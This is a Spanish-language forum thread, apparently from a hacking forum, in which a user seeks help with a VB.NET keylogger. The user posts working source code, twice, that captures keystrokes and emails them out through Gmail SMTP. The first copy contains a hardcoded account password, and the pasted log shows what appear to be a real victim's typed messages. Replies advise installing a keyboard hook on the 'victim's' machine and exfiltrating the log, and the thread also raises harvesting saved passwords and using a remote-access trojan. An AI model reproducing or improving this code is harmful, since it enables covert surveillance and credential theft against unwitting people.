Ayuda con un Keylogger

[WIитX]

Bueno cree un keylogger con el siguiente código.

Imports System.Web
Imports System.IO
Imports System.Net.Mail

Public Class Form1
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 255
result = 0

result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
Dim mail As New MailMessage()
Dim SmtpServer As New SmtpClient
SmtpServer.Credentials = New Net.NetworkCredential("universalprjct@gm ail.com", "furryman")
SmtpServer.Port = 587
SmtpServer.Host = "smtp.gmail.com"

SmtpServer.EnableSsl = True
SmtpServer.EnableSsl = True
mail.To.Add("PON AKI TU CUENTA DE GMAIL")
mail.From = New MailAddress("username@gmail.com")
mail.Subject = "Universal Keylogger"
mail.Body = TextBox1.Text
SmtpServer.Send(mail)
End Sub

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
End
End Sub
End Class

Cuando te llega al hotmail te llega de está manera con estos símbolos, quisiera saber como ponerlo para que salga normal lo que escribe.

QE ES ¡Û
¡NO ME SALE
NADA
QUITAMELO
½¾½Û
¡ ¡MIF GUE
JO ODAS
YA ME E METES TROYANOS¾¾
ENCIMA DE K TE SUBO  ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡
KITAMELO
½¾½Û
½

MIGUE ¡Û
KITAMELO TIO
DIO ¢ ¢ ¢ ¢ SCUCHO
¢ ¢ ¤ ¤ ¤.CO ¢ EN PROCESOS NO
¡Û
COMO
SE LLAMA
¡Û
   NO ME SALE
FORM       JODER TIO
K NO  ¢
PERO
MIRA
NO HAY NADA DE ESO
A K LE DOI
¡0Û
     YA LE DI
   NO SALE NADA
         NO SALE TIO
NADA
K ASKO
NL
K *****

Y una pregunta sería posible que ese keylogger recopilara todas las contraseñas guardadas en el pc con los hotmail... ? se supone que si pero nose muy bien si me hechan una mano por donde va la cosa... muchas gracias. 

[kub0x]

Ya te di un consejo en este post: http://foro.elhacker.net/net/keylogger_remoto_mail-t373717.0.html.

No necesitas volver a postear. Lo que debes hacer es instalar un hook de teclado en el ordenador de la víctima y que éste escriba las teclas pulsadas en un log el cual se enviara por el metodo descrito arriba a tu correo. Busca mi post sobre hooks y ahi tendrás la respuesta.

Necesitarias modificarlo un poco para que capture ciertas teclas que por defecto el hook no interpreta correctamente. El uso de GetAsyncKeyState() no es recomendado en keyloggers.

Saludos!

[WIитX]

Ya te di un consejo en este post: http://foro.elhacker.net/net/keylogger_remoto_mail-t373717.0.html.

No necesitas volver a postear. Lo que debes hacer es instalar un hook de teclado en el ordenador de la víctima y que éste escriba las teclas pulsadas en un log el cual se enviara por el metodo descrito arriba a tu correo. Busca mi post sobre hooks y ahi tendrás la respuesta.

Necesitarias modificarlo un poco para que capture ciertas teclas que por defecto el hook no interpreta correctamente. El uso de GetAsyncKeyState() no es recomendado en keyloggers.

Saludos!

Este tutorial me serviría?

http://foro.elhacker.net/programacion_vb/vb6_creacion_de_un_keylogger_avanzado_hook-t264469.0.html

[kub0x]

Podría servirte, aunque el uso de VB6 no es recomendable en VB .NET. Simplemente asegurate de llamar de forma correcta a las APIs que tienes que utilizar (SetWindowsHook, call.. y unhook...) que las puedes encontrar en Pinvoke, una web muy recomendable para buscar ejemplos de APIs aplicadas a .NET

Seguramente algún trozo del código lo tendrás que modificar para que funcione, pero la mayoría ya lo tienes completado. Si te surge alguna duda ya sabes.

Saludos!

[WIитX]

Podría servirte, aunque el uso de VB6 no es recomendable en VB .NET. Simplemente asegurate de llamar de forma correcta a las APIs que tienes que utilizar (SetWindowsHook, call.. y unhook...) que las puedes encontrar en Pinvoke, una web muy recomendable para buscar ejemplos de APIs aplicadas a .NET

Seguramente algún trozo del código lo tendrás que modificar para que funcione, pero la mayoría ya lo tienes completado. Si te surge alguna duda ya sabes.

Saludos!

estuve leyendo que Hook es para keyloggers locales y no remotos, ¿ Eso es así? o tiene alguna solucción ando un tanto perdido.

[Keyen Night]

No hace diferencia la forma en la que funciona el Keylogger. Tu haces el Keylogger en modo Hook este se ejecuta en el equipo infectado y saca los datos hacia otro equipo a través de cualquier forma de comunicación eso es lo que implica lo "Remoto".

[WIитX]

Encontre este código serviría?

Código [Seleccionar] Expandir

Imports System.Net.Mail
Public Class Form1
    Dim result As Integer
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Int32) As Int16

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        For i = 1 To 255
            result = 0
            result = GetAsyncKeyState(i)
            If result = -32767 Then
                RichTextBox1.Text = RichTextBox1.Text + Chr(i)
            End If
        Next i
    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Timer1.Start()
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        Timer1.Stop()
    End Sub

    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
        Dim MyMailMessage As New MailMessage()
        MyMailMessage.From = New MailAddress("your email address")
        MyMailMessage.To.Add("your email address")
        MyMailMessage.Subject = ("Keylogger")
        MyMailMessage.Body = RichTextBox1.Text
        Dim SMTPServer As New SmtpClient("smtp.gmail.com or your host")
        SMTPServer.Port = 587
        SMTPServer.Credentials = New System.Net.NetworkCredential("your email address", "your password")
        SMTPServer.EnableSsl = True
        SMTPServer.Send(MyMailMessage)
        RichTextBox1.Text = ("")
    End Sub
End Class

[kub0x]

Fíjate que es el mismo código que utilizas tú solo que en vez de usar un control TextBox utiliza un RichTextbox. Lo que te estoy diciendo es que te olvides de GetAsyncKeyState() e investigues sobre hooks de teclado Por cierto, con hooks no necesitarias timers para controlar los eventos que se producen al pulsar una tecla, éstos se encargan previamente de interceptar el mensaje producido por la pulsación de cierta tecla antes de que llegue al sistema.

Por cierto, ¿cambiaría el funcionamiento del code utilizando un RichTextbox? (aunque lo dudo mucho).

Saludos!

[WIитX]

Fíjate que es el mismo código que utilizas tú solo que en vez de usar un control TextBox utiliza un RichTextbox. Lo que te estoy diciendo es que te olvides de GetAsyncKeyState() e investigues sobre hooks de teclado Por cierto, con hooks no necesitarias timers para controlar los eventos que se producen al pulsar una tecla, éstos se encargan previamente de interceptar el mensaje producido por la pulsación de cierta tecla antes de que llegue al sistema.

Por cierto, ¿cambiaría el funcionamiento del code utilizando un RichTextbox? (aunque lo dudo mucho).

Saludos!

:@ que dolor de cabeza >.< creo que are DarkComet mientras investigo sobre los hooks muchas gracias Kub0x